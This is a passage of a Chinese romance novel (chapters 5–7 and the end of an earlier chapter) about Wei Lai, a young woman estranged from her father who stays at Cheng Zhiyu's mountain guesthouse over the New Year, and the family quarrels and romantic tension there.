又说哪家的吃食好吃,游客每回都是一兜兜买回家,要是嫌天气冷不想出门就叫程知聿给她带回来。
程知聿满脸无奈,也不能在外人面前不给奶奶面子。
桌上的手机屏幕骤然亮起,危涞只看了一眼,抓起手机起身,她说:”“奶奶,我去接个电话。”
见林秀禾一副“可惜了”的神情,程知聿低眉,水花溅湿了外套下摆,长出几块深色,“您能别到处推销亲孙子吗?”
拉着谁都一通乱聊,生怕孙子娶不到老婆。
“我干什么了?”林秀禾转过身子对他,“这么多年你带过一个姑娘回家吗?你但凡带过任何一个我都不会说这话,你不是二十出头的小伙子了,人家过年抱着娃娃笑哈哈,我们呢?年年都是我们俩苦兮兮的。”
每每说到这个话题两人总是要沉默。
程知聿叹气,“那不是还有康贻、姑姑,店里这么多人,怎么就只有我们俩了?”
“我不管!”林秀禾拍板,“你今年必须得带对象回来见我。”
程知聿又叹气。
危涞举着手机,脸上一股热气上来,“爷爷......”
对面佯装生气,“哼,还记得我是你爷爷呢?爷爷不给你打电话,你也不给爷爷打。”
她眼睛红了,站在室外吹冷风。
“你不在家,都没人陪爷爷说话,家里冷冷清清的,一点过年的气氛都没有。”朗岐山又说。
危涞用手指抹掉眼泪,“你别骗人了,那不是还有朗禄他们一家陪着你吗?还有你的学生,那么多人......”
“我都和你们没关系了。”从她离开京市到现在,朗禄一个电话都没打给自己,是,他有自己的家了,他早都不要她这个女儿了,想到这里,危涞哭得更急。
朗岐山拄着拐杖敲地,“你再说这话爷爷不高兴了。”他轻轻地喊危涞的名字,就像小时候那样,只可惜岁月无情,让他弯下了腰,成了走路都费劲的老头。
“你永远都是爷爷唯一的孙女。”
危涞狼狈地擦眼泪,告诉他,自己过几天就回去了。
朗岐山笑着说好,又嘱咐她一个人在外要照顾好自己,危涞嫌他啰嗦,“知道啦知道啦。”
他们总认为危涞什么都不懂,什么都不会,没有照顾自己的能力,可她毕竟独自在国外上过几年学,身体健全,很多不会的事情常常做也就学会了,唯一学不会的是下厨。
多数时候跟着教程一步步走,最后的成品总是难以下咽,最后不得不统统丢尽垃圾桶。
有一次还因为食物中毒送进急诊,但总的来说,她远比他们想象的坚强勇敢,能照顾好自己。
朗岐山又问:“那边打电话给你没有?”
危涞老实回答,“打了。”
外婆家每年都给她打电话喊过年,他们那边人多,小孩子也多,回回危涞去都一边一个小不点抱着她的腿,危涞应了这个又来不及应那个,几个小孩又哭作一团,指着对方喊道:“这是我姨姨!”
“这是我姑姑!”
吵吵闹闹。
危涞有时候愿意去,有时候想躲清净就留出几个小孩不在的时间再去给他们拜年。
她挂断电话,心情明显变好,进门撞见程知聿骂他的时候脸上都带着笑,“看什么看!”
“......”又哭又笑,程知聿默然,一看就是和男朋友吵架被哄好了。
他就说,奶奶彻底没机会了。
危涞心情很好地上楼,和三人擦肩而过,中间那人视线划过她白净的侧脸,惊讶回头,盯着她的短发愣了好久。
“你认识?谁呀?”女生皱眉,抱着男朋友的手臂问。
旻浩摇摇头,应该只是看错了吧。但是像她这么显眼的人,还能找出几个?
“帮我拍照啦!”女友催促。
他听话接过相机。
小情侣腻作一团,被冷落的女生敛起尴尬的表情,撩起耳边头发,整理好衣服,走到程知聿面前,还有些腼腆,“老板,我们明天想上山,你这有什么攻略吗?”
“雪还没停,明天上不了山。”程知聿视线在笔记本屏幕上。
“啊,可是预报说明天有流星雨,我还想许愿我们俩永远在一起呢。”邱筱睢保持着拍照姿势,有些失望。
程知聿礼貌笑笑,没有否定她的愿望。
“后天应该能上山,明天的天气上去也看不见流星雨。”
程知聿是本地人,听他的总没错,旻浩安抚道:“那我们多待一天后天再上山?”
“我没问题。”吴纯立马答应下来,盯着程知聿,碰上男人硬朗的五官,脸微微红,她更愿意在这待着。
邱筱睢还是不太高兴,嘟起嘴巴说道:“好吧。”
她搂着旻浩的腰撒娇,“你陪我去外面,我要拍雪景。”
见两人离开。
吴纯站着,扭捏开口前又捋了几下头发,“我们能加个微信吗?”她边说边摆摆手,脸微微红了,“我没有别的意思,就是在这旅游期间万一碰上什么问题都可以找你。”
“毕竟你熟嘛……”
程知聿还是那副好相处的模样,给她的却是民宿微信,“加这个就行。”
邱筱睢推门进来,她“啪”一声把手机砸在桌上,“气死我了,拍的照片没有一张能看的,怎么发嘛!”
旻浩在雪地里冻了几十分钟,心里
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藏着事,心不在焉,又几次三番被女友甩脸色,表情也不好看,邱筱睢一下子不满意角度一下子怪他不懂得提醒细节,问她“怎么拍?”
又被瞪一眼,“你什么态度?我转发给你的那些视频你一个都没看是不是!”
“还是我们小纯好,怎么样都不会生气~”邱筱睢对着吴纯撒娇,“你是我最好的朋友啦!”
“明天陪我拍照吧?”她算准了吴纯不懂得拒绝,眨眨眼。
等了好久没等到她的回答,邱筱睢皱眉,“他没给你微信吗?”
吴纯举着手机闷闷不乐,加是加上了,可加的是店里的有什么用?她找他聊天的时候是不是还得备注:请让你们老板接线?
扭头问:“旻浩呢?”
“下去买零食了。”邱筱睢边把照片导入手机,敷衍安慰道:“别难过,你多磨一磨说不定就追到手了,我当初追旻浩也是这样的。”
旻浩拎着袋子来回转了几圈,还是犹豫走近程知聿,低声问:“老板,那个短头发女生住哪个房间?”
程知聿抬头,“谁。”
“长得高高瘦瘦,特别漂亮,看起来特别有钱的那个。”他伸手比划,眼神期待。
又漂亮又有钱,这就是危涞在别人眼里的形象。
程知聿想,他一定不了解危涞,不然不会轻易说出这样的话。
色厉内荏,说她什么都都能找出无数个理由反驳,她一定要是对的,要是正确的。
不然就和你吵个天翻地覆。
“她住哪呀?”旻浩又问。
程知聿脸上带着歉意,说这是客人的隐私。
旻浩面上窘迫,尴尬道:“我没有别的意思,她是我很久没见的朋友……”
嗯。
朋友。
程知聿守口如瓶,见套不出话,旻浩烦躁地挠挠头发,“电话,你给我个电话总可以吧!”
不可以。
程知聿笑着摇头,一幅“抱歉,我也没办法”的模样,心底再次感叹他女友“天长地久”的愿望很难实现。
屡次受阻,旻浩脸上挂不住,“行了行了。要个电话都这么难!”他领着一袋子用来掩饰的零食,嘴里骂着什么,上了楼。
程知聿没理他,修长的指骨捡起桌面凌乱的文件,叠在一起,边角对齐,宽厚的手背摁在订书机上,“咔哒”一声。
“我来了我来了!”何闯仓促赶来,带进一身雪色。
程知聿瞥他一眼,“罚200。”
ber,他不就迟到了半小时,之前迟到一个小时老板也没说啥呀。
而且小云儿那么厚的红包到他手里就只剩下一半,虽然何闯知道都是自己的错,他小心看向程知聿的侧脸,嘀咕,都已经看不出红印子,还这么记仇。
万恶的资本家。
程知聿语气泠泠:“再看扣三百。”
不看了!再也不看了!
何闯低头,说实话他是真好奇老板被打的样子,小云儿应该没有视频吧?
“四百。”
ok,fine。都是他的错。
程知聿处理完工作上楼,准备开门,听见隔壁一声响。
是被要电话的主角。
“什么事?”他抱着电脑半倚着墙面向她,脸上露出疲态。
他没有邀请她进房间的意思,危涞也不介意,两人面对面站在走廊的木地板上,她才真切地明白程知聿有多高。
“你房间那本书被我烧了。”她一点也不理亏,说话语气平淡地像在说“今天从路边拔了根狗尾巴草”。
程知聿拿钥匙开门,问她:“故意的?”
危涞扯了扯嘴角,短发末尾炸开。
像猫炸开的毛。
程知聿盯着她炸开的头发,很有喜感。
“多少钱我赔给你。”有人已经后悔对他态度这么友善。
程知聿淡淡一眼,封面坏了而已,里面又没事,而且这本书的原版已经很难找了。
“不用。”
危涞还要说话。
他提前结束,看她一眼。
“记得锁门。”
嘁,装什么好人。
5. Chapter 5
年初二,出嫁女儿回家,林秀禾清早就出门买菜去了。
程知聿按习惯泡咖啡,边看消息慢慢喝。他今天穿了一件卡其色短夹克,吴纯坐在他的斜后方,撑着脑袋,碗里的雪菜肉丝粥一口没动。
邱筱睢是个小网红,为了维持自律人设就算天上下刀子早上也得爬起来做操。
她录完早餐素材困得睁不开眼睛,不满地同吴纯说:“你还吃不吃,不吃我回去睡觉了。”
吴纯拉住她,低声,“再陪我坐一会儿嘛。”
邱筱睢趴在餐桌上,她到底是吃饭还是干嘛?
十分钟问了不下五次,“你觉得他今天帅吗?”
帅帅帅,有程老板这个体格,套个麻皮袋子都是在走秀,她也不理解,长得这么帅不当模特躲在山沟沟里面开店。
吴纯又问,“那你觉得我和他有可能吗?”
“有可能吧——”她默默为好友打气,拍拍她的肩膀,“不抛弃不放弃,加油!”
正说着,门口走进几人,手上提着大袋小袋礼品。
“姑姑、姑父。”程知聿喊。
妇人应声,一脸恼色,对落在后面的女儿喊道:“还不快叫人?”
康贻满脸不耐烦,甩开母亲的的手,不情不愿喊道:“哥。”
程知聿知道表妹最近不好管教,一会哭喊着不去上学,一会又闹着离家出走,姑姑、姑父为她伤透脑筋。
所以当他看见康贻新发型,也只是略微愣住,叛逆期有自己的想法这很正常。
他当年更甚,不能多说什么。
程知聿接过姑姑手里的东西,果然听见她接着对康贻骂道:“你要玩我也让你玩了,也没见玩出个名堂来,哥哥当年......”
听到自己的名字,程知聿自动变哑巴。
心里叹气。
奶奶怎么还不回来。
康曾文也是一脸低气压,路上没忍住和妻子吵吵两句,每每女儿惹得她不高兴,他就成了受气包。他指着康贻这头难辨雌雄的头发,对程知聿发牢骚:“你看看,你看看这什么样子!头发这么短哪有个女孩子的样,人家都问我是不是又生了个男孩子喔!”
“我剪头发怎么了!其实你们不是对我剪头发有意见,是对我有意见!”康贻蹿起来,反驳,“如果我是男的你们根本不会多说半个字!”
康曾文气得扬手,被程知聿一把拦下。
“姑父消消气。”
眼见几人要吵起来,吴纯赶紧挽起闺蜜的手,“我们先上去。”家丑不可外扬,这个时候站在旁边说不定还会惹祸上身。
邱筱睢想凑热闹却被她拽上楼。
程萍也气得流眼泪,程知聿又喊来何闯,两人各自拉开一边。
程萍哭着说:“我打也打了,骂也骂了,她就是不听,今天早上还和我闹不来外婆家过年。”
她抽泣,要接着说。
康贻大声尖叫,“你别把我的事情说出去!”
“怎么了?”林秀禾总算回来,手里拎着菜。
程萍赶紧把眼泪擦干,“没事......”
她佝偻着背一眼看见外孙女那头显眼的发,惊喜道:“哟!我们小贻剪头发啦。”
康贻别扭转过头,不想让外婆看见自己的头发。
“躲什么?”林秀禾像变魔术一样从口袋摸出红包,宠溺的对她摸摸头,“短是短了点,我觉得蛮好看得嘞。”
她手里抓着林秀禾硬塞的红包,还是气鼓鼓,林秀禾于是佯装生气,“谁欺负你和外婆说,外婆跟他没完。”
有人撑腰,康贻撅起的嘴巴终于向下压了压。
程萍叹气,一个人进了厨房。
程知聿在旁帮忙择菜。
她过了很久,
突然问道:“你爸今年打电话回家没?”
“没。”程知聿摇头,手上动作没停,他听见姑姑“唉”了声,紧接着唠叨:“你过完年二十九,得开始考虑自己的事情。”
他随声应和,“知道。”
“我有个朋友女儿和你一般大,长得挺漂亮,你有时间约着见一见?”
他苦笑道:“最近实在很忙。”
“你个死脑筋。”姑姑恨铁不成钢。
最后一道菜上桌,程萍举着手机拍视频,林秀禾放下碗筷,拍拍程知聿的肩膀,“危涞这小姑娘一天没下楼,你上去看看。”
程知聿皱眉,“人家有男朋友了。”
“我是说你给她送点饭菜上去,她那么瘦,万一饿晕倒怎么办?”林秀禾拍打他,心里却觉得可惜,难得碰上个能和孙子呛上几句嘴的,无奈人家有对象。
“谁呀?”程萍问,连着康曾文和康贻也好奇起来。
“一个小姑娘,我看着挺喜欢。”
程知聿暗道,她对谁都说喜欢,对谁都说有眼缘。
“可是人家有对象了噻。”姑父插嘴道。
“有对象怎么了?那她朋友里总有单身的,就当交个朋友多条路。”程萍挑出两只一正一反的筷子。
程知聿被几人撵上楼。
支付失败。
支付失败。
还是支付失败。
危涞咬牙试了一遍又一遍,屏幕依旧显示支付失败,血液翻涌。
朗禄把她的卡停了。
她不管两人是否还在冷战,一通通电话不停打过去,却总是显示无法接听。
他不接她的电话。
他凭什么不接她的电话?
危涞坐在柔软的床榻边,穿的单薄,赤脚踩在地板上,眼眶红了整圈,她咬着唇,手抖得厉害。
“小涞?”朗岐山刚遛完鸟。
“爷爷,你要朗禄接电话。”她语声冷冷,分明是气到极致。
朗岐山不明所以,将手机递给朗禄,“小涞的电话。”
朗禄擦干净手,猜到危涞会打电话给父亲,他是故意不接她的电话。
“你凭什么把我的卡停掉!”危涞情绪激动,大声喊道。
朗禄厉声喝她,“危涞!”
“你被家里宠得太过分了,不尊重长辈,恣意妄为想干什么就干什么,跑出去这么多天一个电话都没有,不是所有人都得围着你转。”
“等你想清楚给薛阿姨道歉,我再把卡给你。”
他要她给薛莹道歉,所有人都说她有错,只有危涞不明白自己做错了什么。
“我做错什么了。”她低声问,声音苦涩。
她记得母亲离世的那天,朗禄双目通红,抱着泣不成声的危涞承诺,“爸爸会永远陪着小涞。”
她没有奢求永远有多远,这一生太远,朗禄总会遇到新的人,她曾经也幼稚地想过:爸爸这辈子遇不到喜欢的人就好了,她不想有弟弟妹妹,她已经失去了母亲,不想再失去父亲。
原谅她心胸狭隘,没办法平分这份父爱。
可总要学会妥协。
那天他带薛莹回家,薛莹身边跟着一个豆丁大点的小孩,危涞愣了好久,心想这天还是来了。
她没哭没闹,甚至平和的吃完了那顿饭,直到看见薛莹撩头发时露出的那对耳钉,危涞的心慌了,那么熟悉的红宝石,她无措地看向父亲,期望他能给自己一个解释。
为什么母亲的首饰会出现在薛莹身上。
她向朗禄讨要解释,可他只是沉默。
薛莹揉着耳垂,羞涩大过尴尬,“你爸爸看我喜欢……”
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>那是妈妈生前最爱的首饰,他说送就送了?!
“还给我。”危涞抓筷子的手泛白,她还在忍耐。
薛莹带来的小孩抱着妈妈,眼泪鼻涕流了满脸。
朗禄拦着不让还,“送出去的东西没有要回来的理由。”
“还给我!她有什么资格……”清脆的耳光打得危涞脑袋发晕,她不可思议地看向自己的父亲。
这是他第一次打她,为了个不相干的女人。
朗岐山拄着拐杖拍桌。
那小孩被吓哭得直打嗝,薛莹轻拍孩子的背为难地看着危涞,眼里种种都像在说:是你毁了一切。
危涞冷得发抖,捏紧拳头,起身离去。
在这通电话之前她还心存侥幸,她毕竟是朗禄唯一的女儿,父女没有隔夜仇。
他们一定会和好的。
是他亲手打破自己的幻想。
“我不会给薛莹道歉”,危涞说,“我也不回去了。”
朗禄停了很久,久到危涞以为他要开口求和,他说:“随你。”
他说,“我管不了你,危涞。”
捏着金属边框的手颤抖,手机被砸在地板上,从一角开始四分五裂,危涞抱着膝盖哭。
肩膀颤抖。
鸟笼里的雀儿扑了几下翅膀,朗岐山担忧地问:“怎么说话这个态度?小涞怎么说,是不是快回来了?”
“她昨天还和我打电弧......”
见朗禄又是不说话,他脸色骤变,重重撂下笼子,声如破竹:“当初我不让你送她出国你不听,这好不容易念完书回来了,整日吵!日日吵!连个团圆年都过不了!”
“我这把老骨头还过得几个年头?”
“你要是当真不要女儿了,我替你养!”
朗禄叹气,隔代亲,他知道父亲溺爱这个从小陪在身边的孙女。
也知道父亲对他早早把危涞送出国念书怨念很深,隔着八千多公里,七小时的时差,朗岐山起床散步时危涞才刚刚睡下,他要是想孙女打个电话还得卡好时间。
可依危涞的性格,出国是对她最好的安排。
程知聿停在门口,叩起指节敲门,醇厚的声音隔着一道门,“奶奶喊你吃饭。”
半天没人搭理,他再喊,“危涞?”
“给我滚!”危涞喊道。
尖锐的女声穿过门板,程知聿隐隐不悦,知道她又在哭。
心烦,他脸上染上薄怒,沉声对里说道:“别人的气别撒我头上。”
门被人用力撞开,危涞哭得眼尾发红,像个炸弹一点就爆,“我朝你撒什么气了?”
“你是不是有病,能别管我的事吗!”
程知聿低头冷笑,“你没病吗?”
和男朋友吵架对着他发疯,他脑子有问题才上来喊她吃饭。
再不管她情绪如何,他没义务安抚别人给她带来的坏情绪。
和他有什么关系?
后脑勺一记闷响,有东西打在头上又滚落在地板上,程知聿眉心突突地跳。
危涞还保持着丢拖鞋的姿势,哭得稀里哗啦,她马上就搬出去,死也不在这住了,谁脑子有问题才会和程知聿当邻居。
她的手刚扶上门把手,就被身后的大掌连人带手钉在墙上,危涞大喊大闹,她伸出脚踹他,“你敢打我一个试试!”
她跟他没完,她跟他没完!
程知聿面色冷冷,低头看向那张哭花的脸,他的掌是硬的烫的,她腕上的肉是软的凉的,掌下的触感时时刺激,程知聿眸色幽深。
谁说他要打她了。
危涞感受到掌心的那片灼烫,惊恐地呆住,眼尾的泪一颗一颗滑下,“你要干什么......”
6. Chapter 6
手腕的皮肤被他粗粝的掌心磨得生疼。
另一只手在她的腰线摩挲,掐着腰火一样的温度迅速向四周扩散,空气变得稀薄,危涞心跳如鼓,脸红得看不出原本肤色,他的手指轻轻停在短上衣边缘,带着某种诱人的蛊惑,危涞咽了口唾沫,颤抖着睫毛抬头,却被他滚烫的气息烫得喘不过气。
男人的眉浓密且锋利,鼻梁高挺,唇抿着,擦过她耳旁的细发,他的气息跟着,洒在耳侧。危涞完全僵住,脚下发软。
不敢直视他的眼睛,每在她裸露的肌肤上划过一寸都是新的灼伤。
他在生气还是调情?
脑子一团乱麻,危涞搞不清楚了。
程知聿掐着她的软腰,松开头顶的那只手,情不自禁揉上危涞眼尾的绯红,重重的,她又在哭,她总是在哭。
危涞萧瑟着身体逃避,咬唇不语。
他盯着她水色的唇,喉咙滚动。
他失态了,不动声色地拉开距离,淡淡从她的唇上移开视线。
除了指尖沾上的那点湿色,再找不到刚才暧昧的证据。
他推开一步要道歉。滚烫的胸膛悄声离开,危涞靠在墙边冷得发抖,她狠咬着唇,清脆的耳光甩在他脸上。
心中难堪不已,都到这一步了还能被推开,她究竟是有多让人讨厌?
沉重的门在被甩在脸前,程知聿愣神,房门紧闭,一切都像没有发生,可手指尖粘腻湿滑的感觉却依旧清晰。
康贻“哒哒哒”跑下楼,脸红成了猴子屁股,林秀禾见她两手空空,“东西呢?不是说有东西落在知聿房间?”
“没有!没有......”她声音越来越小,脸红得不正常,她怎么也想不到平时冷淡的表哥还有这样的一面。
仿佛要把人生吞下肚。
她年纪还小,看个偶像剧都脸红心跳,哪里见过真人版......
康贻低声嘟囔,奇怪:“不是说人家有男朋友吗,怎么——”
她恍然大悟,难道表哥是小三?
怪不得被人扇巴掌。
好刺激啊。
康贻的脸红得不正常,程萍担心发烧,冰凉的手摸上去,“啊!”康贻被凉得惊叫,“我没发烧!”
听见楼梯传来动静,康贻乖乖坐直,抱着碗扒饭。
除了她,另外三人都朝程知聿身后看去,却没想到视线落了个空,“人呢?”程萍问。
程知聿沉默。
林秀禾又问:“人呢?”
这通电话来得突然。
程知聿匆匆收拾了行李,回望一眼送别的人。
“程哥,咱们走吧。”
程知聿低声应下。
一同出差的同事是他的后辈,两人同乡他又资历浅,于是这份老带新的差事就自然而然落在程知聿头上,见前辈兴致不高,唐凌也紧张,这是他第一次出差。
还是个大案子。
虽说有程知聿在十拿九稳,但见车内气压低沉,唐凌又担心两人不能相处。
他刚进公司面试时就听说过这位前辈,都说他看起来清清淡淡好相处,到了谈判桌上才知道厉害,一口一个“合作共赢”,敲点时恨不得剐去人家半条命,对家又把对他的称呼“小程”也换成“程老师”,央求他给自己留口肉汤喝。
程知聿无奈,说自己再让步就要被老板调去非洲。
终于,客户头摇了又摇,无可奈何地让步,玩笑说道:“程老师不必要上班,就算当个吉祥物摆在桌上,整天摆摆手也能招财。”
谈到最后的必要环节总是对方挽留:“程老师有没有计划跳槽?”
程知聿也只是笑笑:“老板不放人。”
唐凌惆怅,觉得车上太安静,便想着法子找话题,“这是我妈给带的卤味,都是自己做的,程老师要不要吃点?”他伸手递出保鲜盒。
“不用,谢谢。”程知聿闭着眼睛小憩,眼下是浅浅的乌青。
唐凌便默默收回手,拍拍自己的嘴巴,多事!
经过服务区的时候,程知聿问:“你是一中毕业的?”
唐凌愣了愣,点头,“是。”
说起来唐凌还是程知聿学弟,他读高三那年,学校请程知聿回来演说,也是飘雪的天气,教室里没有暖气,只能把手缩在衣袖里取暖,但时间久了也不行,人昏昏欲睡。
程知聿进教室的时候,班里一阵骚动,连着一片惊呼,唐凌从睡梦中把自己掐醒,瞪着迷糊的眼睛。
抬头看见西装革履的程知聿,连大衣也没穿,清瘦笔挺,一副上流社会的精英模样。唐凌打了个哆嗦,他把自己裹成盼盼小面包也抵挡不住寒气,这人感觉不到冷吗?
旁边的女同学嫌弃瞥了眼唐凌,“人家这叫要风度不要温度。”
程知聿讲了什么,现在的唐凌已经记不清楚,但他的经历每个人都能拿出来说一说,吊车尾的普通班里吊车尾的倒数第一,逃学上网,打架抽烟样样都有他的份,怎么看都是个无药可救的坏学生。
直到后来的某次月考,吊车尾的名字蹿上年级前五十的光荣榜上,为这事校长还找过程知聿谈话,可谁知道从这以后他的名字再也没下来过。
恶意猜测的言论不断,所有人都等着高考后看他的笑话。
录取通知书到的那天,程知聿的照片被挂上光荣榜,从此班主任教育的话里面多少能找到他的影子,“你看看你们,玩也不会玩,书也不会读,就不知道向光荣榜上那位学习吗?”
唐凌不得不承认,程知聿回学校动员时穿的那身西装有帅到他,以至于他会走上和他一样的道路。
一转许多年,唐凌好奇,“哥,你当时怎么就突然醒悟了?”
总不能真的和武侠小说里一样被人打了一拳被打通了任督二脉吧。
程知聿盯了他一下,很轻地笑:“人长大总要有个阶段。”
唐凌似懂非懂,又见程知聿搬出笔记本敲打,识相闭上嘴巴。
心中佩服,不愧是大区第一,真卷。
林秀禾守在石阶前,直到车子开远,她叹气,苍老的眉间满是心疼。程萍站在一旁,低声劝她说道:“进去吧,外边冷。”
心里却有种说不出的难受,总觉得是亏欠。
程知聿这样忙,一通电话就结束了新年假期。按辈分来说,程萍是长辈,是林秀禾的亲女儿,但远远没有程知聿体贴,她的衣服、吃食都是他在置办,各种保健品、营养品,平常在吃的药他也都记得清清楚楚。
甚至每到饭前还会打电话提醒林秀禾吃药。
他做的比自己要好。程萍眼神晦涩,搀扶着母亲进去。
大雪天气依旧持续,没见程知聿的这几天危涞多是窝在巷尾的一家酒馆喝酒。
她心中有怨气,觉得程知聿敢做不敢当。
可危涞自己也早出晚归,说不清楚谁在躲谁。
酒馆里还留着圣诞节的装饰,桌上却给每个客人都准备了新年红包,份额最大的是免单或者再来一杯。
危涞的则是一张谢谢惠顾。
“......”隔壁那桌显然中了奖,吵吵闹闹。
危涞把这张没中奖的照片发在朋友圈,配文是三个句号。
再一刷新,跳出几条评论。
“运气差这一块【强】【强】”
“开年第一暴击。”
“羡慕学姐每一天【流泪】”
“小涞什么时候回家吃饭呀?”这条消息是小姨看见危涞朋友圈后给她发的,后面还跟着个视频,危涞一点开,看见几个小鬼头挤在手机屏幕里面,一人嘴巴里含着颗糖,说话黏黏糊糊。
“3、2、1——”这是小姨的声音。
“姑姑——姨姨——姐姐——”三个人各说各的,说完肥嘟嘟的脸转向对方,伸出肉手你推我我推你,“这是我姑姑!”
又开始了又开始了。
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“好了好了不说了,我们都想你了,早点回家吃饭呀,你外公外婆准备的红包都送不出去。”小姨说了几句,赶紧放下手机哄,另外两个的眼泪鼻涕又糊了一脸,只得发动家里所有长辈,一人负责一个。
危涞哑笑,收了手机。
酒馆台上有时是驻唱歌手,有的时候请人讲故事,从天南到地北,讲得天花乱坠。
危涞听到好笑的地方,也学着笑一笑。
有的时候甚至不需要什么意图,就算随便上台号两嗓子也有人欢呼鼓掌。
有一回,话筒在客人手里轮流转,忽然就落到了危涞手里,她也不怯场,大大方方上台唱了首英文歌。
又是一阵掌声。
下台一摸外套口袋里,果然又被人塞了联系方式。
路边堆起松软的雪被,她最喜欢酒馆后排靠窗的位置,向外能看见山的一角,还能躲避他人审视的目光。
不过也有躲不掉的。
男人凑上前来碰杯,“叮当”一声,想在危涞身边坐下。
可惜她今天不高兴,好友知道她有家不回宁愿在外流浪,嘲笑危涞落魄,居然被外人偷了家,各种炫耀的照片、视频像倒豆子一样往两人的聊天框发,危涞气得发恼,转手把她拉进黑名单。
如今见男人上前她很快甩了脸子,“旁边有人。”
那人屈膝还没坐下,保持着拱屁股的动作十分尴尬,他说声“不好意思”匆匆离开。
危涞嫌弃地把被他碰过的酒杯推远,没多久。
又有不识相的走近,旻浩在她对面位置坐下,她抬头,表情已经不好看,两只眉毛向下压,睫毛垂下阴影,明明是不耐烦的模样,落在别人眼中却是娇态。
她其实是五官很浓郁的类型,也许是家里长辈基因好,常常没化妆时被人误以为化了全妆。
“我不和别人拼桌。”这么多位置空着非得挑自己身边。
旻浩笑笑,“你可能不记得我......”
“不记得。”
他面色一僵,“我们一起上过课。”
危涞皱眉仔细地想,她真不记得哪年的同学里面有这么个绿青蛙。
危涞不是故意说他像青蛙的,但也很难说他不像吧,鲜艳的绿色羽绒服和绿色毛线帽,他对绿色是有什么执念吗?
旻浩注意到她停留在自己头上更僵硬,“我朋友送的......”
哦,那他还对朋友还挺大度。
“那年德昇中学。”
危涞记得了,那个时候奶奶刚走一年,朗禄很忙,朗岐山出门讲学,她只能天天粘着小姨,小姨那个时候正好在德昇支教,索性把她也带去听。
这么说来他们确实一起上过课。
旻浩欣喜道:“你记起来了?”
是啦是啦,她是记得有这个学校,但是完全不记得面前这号人呀。
“我们能不能加个微信?你叫朗——”
危涞脸色一沉,“我不姓朗。”
她早就改了名随母亲姓。
危涞缠紧围巾冷脸起身,旻浩还要喊她,危涞望他一眼。
眼尾一点绯红,是很张扬的颜色。
再说了,要她的微信是需要抢号排号的,每月一个号,每年九个号或以下,恰逢寒暑假休息无号,节假日调休无号。
至于在哪抢,在哪排?首先你得吃斋念佛两个周,手抄经书两到三卷,然后乖乖盖上被子睡觉。
然后就会有小天使通过意念给你传话啦。
至于真的假的?
笨。
危涞停住脚步,笑意宛如雪山脚下清冽的湖水,“哦对了,下次搭讪前记得把手上的戒指印盖好。”
心里暗骂道:做戏也不知道做全套,手上那么明显的戒指印当她瞎的看不见?
还有他那个帽子,她都不想说。
危涞交友原则之一:远离任何有女友的男人。
7. Chapter 7
在国外念书时她参加过一段时间话剧社,演的是白男主演身边的女仆,两人的接触仅止于念台词时的对视和一个正常不过的吻手礼。
某天排练结束后,众人聚在路边的一家酒馆,危涞躲懒,找了个借口溜出酒馆抽烟,他们无非聊车子聊女人,最后喝得醉醺醺起哄说一些见不得光的荤话。
她记得那晚的月亮格外亮堂,中国诗人爱说:“举头思明月,低头思故乡。”
他们则爱说:“皎洁的明月如此贴近,你的美丽萦绕我的心魂。”纯正的英伦腔。
危涞咬烟望去,同他打招呼,“嘿,普罗。”
是那个白男主演。
不得不承认,普罗有一双漂亮的蓝色眼睛,他从背后拿出一枝纯白玫瑰,做绅士礼献给危涞。
危涞皱眉,没有伸手接的想法,只是望着他那双海一样的蓝眼睛,说:“普罗,我记得你有女友。”
她并不想惹麻烦。
“忘记她。”普罗轻声说着,上来捧她的脸。
“普罗!”熟悉的声音带着风,来人比危涞高出几分,浓烈的香水味呛得她头昏,丝毫不顾及月亮的柔情,扬手就是一耳光。
危涞吃痛怔神,瞥见见始作俑者慌张退开几步,踩着玫瑰花的尸体匆匆逃走。
“操。”她骂了句国粹,冷静地咬完最后一口烟,反手抓住普罗女友的头发,女人的皮肤白,金发在月亮下闪闪发光。危涞牢牢抓住她的头发,揪着发根使劲,她痛苦地喊叫,危涞试图唤醒玛莉的理智,拽着她的金发往墙上靠,声音很冷静,“玛莉,你误会了。”
玛莉疼得呲牙咧嘴,“放开我的头发!”
危涞却不放手,这一巴掌她是无论如何都要还回去的。
社团成员们听见动静急忙从酒馆里涌出,一边拉开一个,酒味混乱,危涞顶着红肿的脸颊,手里拽着一大把金色头发,她看着周围人嘴巴张张合合,听不太清楚,耳中只有一阵冗长的锯木头声。
玛莉打她的这一巴掌用了全力。
白人女孩站在人群中流泪,摸着脑后一片光秃秃,不停地向周围人诉苦。
“她扯我的头发,勾引我的男友!”
“玛莉,你冷静些......”有人劝慰流泪的女孩。
耳中的轰鸣声终于散开,危涞把那团金发丢进垃圾箱,玛莉心疼不已,又叫嚎着上来抓她的脸。
又被人拉开。
后来很长一段时间玛莉都不得不戴着帽子上课,每每撞见危涞都恨不得从她身上剐下一块肉来。
事后复盘,危涞一是后悔没把男的也打了,二是觉得遗憾。
她原本和普罗女友玛莉关系不错,在双方的社交平台都能找到对方的存在,可是自这以后就再也没讲过话。
危涞如今脑子有包才会再和有对象的男的有交集,她可忘不了普罗手里那朵皎洁的玫瑰后来又被他踩在脚下,变得泥泞不堪。
也忘不了曾经的好友对她恶语相向的样子。
程知聿应该没女朋友吧。
危涞扯了唇角。
也是,就他这样的性格能有才奇怪。
有女友还沾花惹草,终身不举哈。
危涞前脚走进民宿,就和个戴红帽子背相机的女生撞上视线,她突然就想笑。
红配绿,赛狗屁。
想来她就是送帽子的人。
邱筱睢又看见那天晚上的短发女生,表情突然变得很奇怪,她记得清清楚楚,旻浩就是因为见了这个女生之后魂不守舍,今早还突然问:“能不能把戒指摘下来?”
说是长胖了戴着勒。
见自己的脸垮了,他才改嘴,哄道:“不摘了不摘了。”
邱筱睢本来就不开心,见旻浩又跟着她后面进来,表情一下不对。
他帽子也没戴,戒指也没戴。
邱筱睢快步走近男友身边,紧紧握着旻浩发凉的手,像在展示主权。
旻浩看见危涞讥诮的眼神,感到不自在想抽出手,却被她抓得更紧。
危涞迎着敌视的目光挑眉,她就说。
其实0个人在意她们的男友哈。
吴纯心里焦急,邱筱睢说了,该拍的素材都拍完了,反正天气不好也上不了山,整天呆在房间里又无聊,还不如回家去。
连着几天都没见到程知聿,问了康贻才知道程知聿出差还没回来,可是她还没要到微信。
不想就这样离开。
三个人里,一直都是邱筱睢说什么就是什么,别看当初是她追的旻浩,可在一起后不论对错道歉的一直是男方,两人之间也一直是吴纯在道歉。
她性子单纯,反应也迟钝,说话做事总是容易得罪人。这么多年只有邱筱睢一个称得上好朋友的人,她珍惜她,真心实意地对待她,哪怕邱筱睢常常把她的话当作空气,哪怕她有点小性子。
哪怕这次出来玩都没和她商量就订好了票。
